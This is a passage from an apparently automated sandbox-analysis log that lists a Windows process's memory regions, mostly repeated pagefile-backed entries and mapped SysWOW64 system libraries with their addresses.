iwa5kls\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000008.db") Region: id = 5691 start_va = 0x9a0000 end_va = 0x9dffff entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 5692 start_va = 0x960000 end_va = 0x960fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000960000" filename = "" Region: id = 5693 start_va = 0x25b0000 end_va = 0x26b0fff entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 5694 start_va = 0x25b0000 end_va = 0x26b0fff entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 5695 start_va = 0x25b0000 end_va = 0x26b0fff entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 5812 start_va = 0x26b0000 end_va = 0x26effff entry_point = 0x0 region_type = private name = "private_0x00000000026b0000" filename = "" Region: id = 5813 start_va = 0x2f90000 end_va = 0x318ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f90000" filename = "" Region: id = 5814 start_va = 0x757c0000 end_va = 0x757d1fff entry_point = 0x757c1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 5815 start_va = 0x75ca0000 end_va = 0x75cc6fff entry_point = 0x75ca58b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 5816 start_va = 0x76c30000 end_va = 0x76dccfff entry_point = 0x76c317e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 5817 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 5826 start_va = 0xe40000 end_va = 0xe7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e40000" filename = "" Region: id = 5827 start_va = 0x31b0000 end_va = 0x33affff entry_point = 0x0 region_type = private name = "private_0x00000000031b0000" filename = "" Region: id = 5828 start_va = 0x75230000 end_va = 0x7524bfff entry_point = 0x7523a431 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 5829 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 5830 start_va = 0x75220000 end_va = 0x75226fff entry_point = 0x7522128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 5831 start_va = 0x75210000 end_va = 0x7521cfff entry_point = 0x75212012 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll") Region: id = 5881 start_va = 0x751f0000 end_va = 0x75201fff entry_point = 0x751f3271 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 5882 start_va = 0x74b70000 end_va = 0x74babfff entry_point = 0x74b7145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 5883 start_va = 0x25b0000 end_va = 0x261ffff entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 5884 start_va = 0x74b50000 end_va = 0x74b54fff entry_point = 0x74b515df region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 6007 start_va = 0x33b0000 end_va = 0x346ffff entry_point = 0x33b0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 6220 start_va = 0x749d0000 end_va = 0x749e0fff entry_point = 0x749d1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 6221 start_va = 0x749c0000 end_va = 0x749c8fff entry_point = 0x749c15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 6222 start_va = 0x749a0000 end_va = 0x749b8fff entry_point = 0x749a1319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 6223 start_va = 0x74990000 end_va = 0x7499efff entry_point = 0x749912a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 6224 start_va = 0x150000 end_va = 0x15ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6225 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6226 start_va = 0x3880000 end_va = 0x3c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003880000" filename = "" Region: id = 6227 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 6228 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 6229 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6230 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6231 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6232 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6233 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6234 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6235 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6236 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6237 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6238 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6239 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6240 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6241 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6242 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6243 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6244 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6245 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6246 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6302 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6303 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6304 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6305 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6306 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6307 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6308 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6309 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6310 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6311 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6319 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6320 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6321 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6322 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6323 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6324 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6325 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6326 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6327 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6328 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6329 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6330 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6331 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6332 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6333 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6334 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6335 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6336 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6337 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6338 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6339 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6340 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6395 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6396 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6397 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6398 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6399 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6400 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6401 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6402 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6403 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6404 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6405 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6414 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6415 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6416 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6417 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6418 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6419 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6420 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6421 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6422 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6423 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6424 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6425 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6426 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6427 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6428 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6429 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6430 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6431 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6432 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6433 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6434 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 6435 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6473 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6474 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6475 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6476 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6477 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6478 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6479 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6480 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6481 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6482 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6536 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6537 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6538 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6539 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6540 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6541 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6542 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6543 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6544 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6545 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6581 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6582 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6583 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6584 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6585 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6586 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6587 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6588 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6589 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6590 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6591 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6592 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6646 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6647 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6648 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6649 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6650 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6651 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6652 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6653 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6654 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6655 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6686 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6687 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6688 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6689 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6690 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6691 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6692 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6693 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6694 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6695 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6696 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6697 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6698 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6699 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6700 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6701 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6702 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6703 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6704 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6705 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6706 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6707 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6708 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6709 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6710 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6711 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6712 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6713 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6767 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6768 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6769 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6770 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6771 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6772 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6773 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6774 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6775 start_va = 0x3470000 end_va = 0x387ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003470000" filename = "" Region: id = 6776 